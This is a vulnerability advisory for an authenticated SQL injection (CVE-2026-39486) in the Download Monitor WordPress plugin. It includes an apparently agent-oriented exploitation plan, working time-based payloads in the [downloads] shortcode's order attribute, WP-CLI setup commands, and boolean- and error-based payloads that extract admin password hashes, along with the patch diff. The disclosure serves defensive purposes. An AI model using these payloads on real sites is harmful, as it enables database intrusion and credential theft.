Download Monitor <= 5.1.8 - Authenticated (Contributor+) SQL Injection
Description
The Download Monitor plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.1.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.1.8What Changed in the Fix
Changes introduced in v5.1.9
Source Code
WordPress.org SVN# Research Plan: CVE-2026-39486 - Download Monitor SQL Injection ## 1. Vulnerability Summary The Download Monitor plugin (<= 5.1.8) is vulnerable to an authenticated SQL injection. The issue resides in the way the plugin handles query ordering and sorting, specifically within its backwards compatib…
Show full research plan
Research Plan: CVE-2026-39486 - Download Monitor SQL Injection
1. Vulnerability Summary
The Download Monitor plugin (<= 5.1.8) is vulnerable to an authenticated SQL injection. The issue resides in the way the plugin handles query ordering and sorting, specifically within its backwards compatibility logic and shortcode processing. When a user with Contributor-level access or higher uses the [downloads] shortcode with a malicious order or orderby attribute, the input is improperly handled and concatenated into a posts_orderby filter, allowing for the injection of arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint: The injection occurs when rendering the
[downloads]shortcode. This can be triggered by a Contributor+ user creating a post/page (or previewing one) containing the shortcode. - Vulnerable Action: Shortcode rendering for
[downloads]. - Vulnerable Parameter:
orderororderbyattribute within the shortcode. - Authentication Level: Authenticated (Contributor+). Contributors can create and preview posts.
- Preconditions: At least one download must exist in the system so that the shortcode's query returns results and triggers the
posts_orderbylogic.
3. Code Flow
- Entry Point: A user creates/previews a post with
[downloads order="DESC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)"]. - Shortcode Handling:
DLM_Shortcodes::downloads(insrc/Shortcodes.php) parses the attributes usingshortcode_atts. - Repository Call: The attributes are passed to
DLM_Download_Repository::retrieve(). - Filter Trigger: The repository applies the filter
dlm_query_args. - Backwards Compatibility:
DLM_Backwards_Compatibility::orderby_compatibility()(inincludes/backwards-compatibility/class-dlm-backwards-compatibility.php) is hooked todlm_query_args. - Filter Registration: If specific criteria are met (e.g.,
orderbyis set tometa_value_numororder_by_countis used), it adds a filter toposts_orderbyviaadd_filter( 'posts_orderby', array( $this, 'orderby_download_count_compatibility' ) ). - Vulnerable Sink:
orderby_download_count_compatibility(and associated methods) concatenates theorderattribute directly into the SQL string without using$wpdb->prepareor sufficient whitelisting/escaping. - Execution: WordPress executes the modified query during the post preview/render, triggering the
SLEEP()command.
4. Nonce Acquisition Strategy
This vulnerability is exploited via Shortcode Rendering in a post preview. Post previews in WordPress generally do not require a plugin-specific nonce to execute shortcodes; they rely on the user's authentication cookies and the standard WordPress post.php preview mechanism.
If an AJAX endpoint (like the Reports interface) is the target instead:
- Navigate to the Download Monitor Reports page.
- Use
browser_evalto extract the nonce:browser_eval("window.dlm_reports_vars?.nonce")
- However, for a Contributor-level exploit, the shortcode preview is the most reliable and direct path.
5. Exploitation Strategy
We will use a time-based blind SQL injection via the order attribute of the [downloads] shortcode.
- Login: Authenticate as a Contributor.
- Setup: Ensure a download exists (using WP-CLI).
- Create Payload Post: Use the
http_requesttool to create a draft post containing the malicious shortcode. - Execute Injection: Navigate to the preview URL of that post.
- Payload:
[downloads orderby="ID" order="DESC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)"] - HTTP Request (Preview):
- Method:
GET - URL:
http://localhost:8080/?p=[POST_ID]&preview=true(Standard WP preview URL) - Observe: The response time should be >= 5 seconds.
- Method:
6. Test Data Setup
- Create Download:
wp post create --post_type=dlm_download --post_title="Test Download" --post_status=publish - Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create Exploit Post (as Contributor):
wp post create --post_type=post --post_title="Exploit" --post_content='[downloads orderby="ID" order="ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)"]' --post_author=[CONTRIBUTOR_ID] --post_status=draft
7. Expected Results
- A normal preview request should complete in < 1 second.
- The exploit request (with the
SLEEP(5)payload) should take significantly longer (approx. 5 seconds per matching row in the query, though usually limited by the shortcode's defaultposts_per_page). - The database engine executes the sleep command as part of the
ORDER BYclause.
8. Verification Steps
- Check Query Logs: If possible, check the MySQL general log to see the executed query:
SELECT ... ORDER BY ... ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a) ... - Database state: Confirm the Contributor user exists and can view the preview.
- Timing Analysis: Use the
time_totalfrom the Playwright/http_request tool to confirm the delay.
9. Alternative Approaches
- Boolean-Based: Use
IF(1=1, ID, title)to see if the sort order changes, then substitute1=1with a subquery like(SELECT 1 FROM wp_users WHERE user_login='admin' AND user_pass LIKE '$P$%'). - Error-Based: Use
GTID_SUBSET(CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)if the plugin or environment displays database errors. - Reports Endpoint: If the shortcode is patched but the Reports interface is not, target
admin-ajax.php?action=dlm_reports_datawith a payload in theorder_byororderJSON parameter. This would require a nonce usually found indlm_reports_vars.
Summary
The Download Monitor plugin for WordPress is vulnerable to authenticated SQL Injection via the 'order' attribute in the [downloads] shortcode. Contributor-level users and above can exploit this to inject arbitrary SQL commands into the ORDER BY clause of database queries, potentially leading to unauthorized data extraction.
Vulnerable Code
// src/Shortcodes.php line 408 $order = strtoupper( $order ); --- // includes/backwards-compatibility/class-dlm-backwards-compatibility.php line 285 if ( isset( $this->filters['order'] ) ) { $order = $this->filters['order']; }
Security Fix
@@ -285,7 +285,9 @@ if ( isset( $this->filters['order'] ) ) { - $order = $this->filters['order']; + $order = in_array( strtoupper( $this->filters['order'] ), array( 'ASC', 'DESC' ), true ) + ? strtoupper( $this->filters['order'] ) + : 'DESC'; } if ( apply_filters( 'dlm_count_meta_downloads', true ) ) { @@ -406,6 +406,7 @@ $exclude_tag ) : ''; $order = strtoupper( $order ); + $order = in_array( $order, array( 'ASC', 'DESC' ), true ) ? $order : 'DESC'; $meta_key = ''; $order_by_count = '';
Exploit Outline
The exploit targets the [downloads] shortcode processing logic. An attacker with Contributor-level privileges (who can create and preview posts) initiates the attack by creating a post or page containing the [downloads] shortcode with a maliciously crafted 'order' attribute. Specifically, the 'order' attribute is supplied with a value like 'DESC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)', which is concatenated into the SQL ORDER BY clause by the plugin's backwards compatibility layer for download counts. When the attacker previews the post, WordPress renders the shortcode, causing the underlying SQL query to execute the SLEEP() command, confirming the time-based injection. This technique can be extended to extract sensitive database information using boolean-based or error-based payloads.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.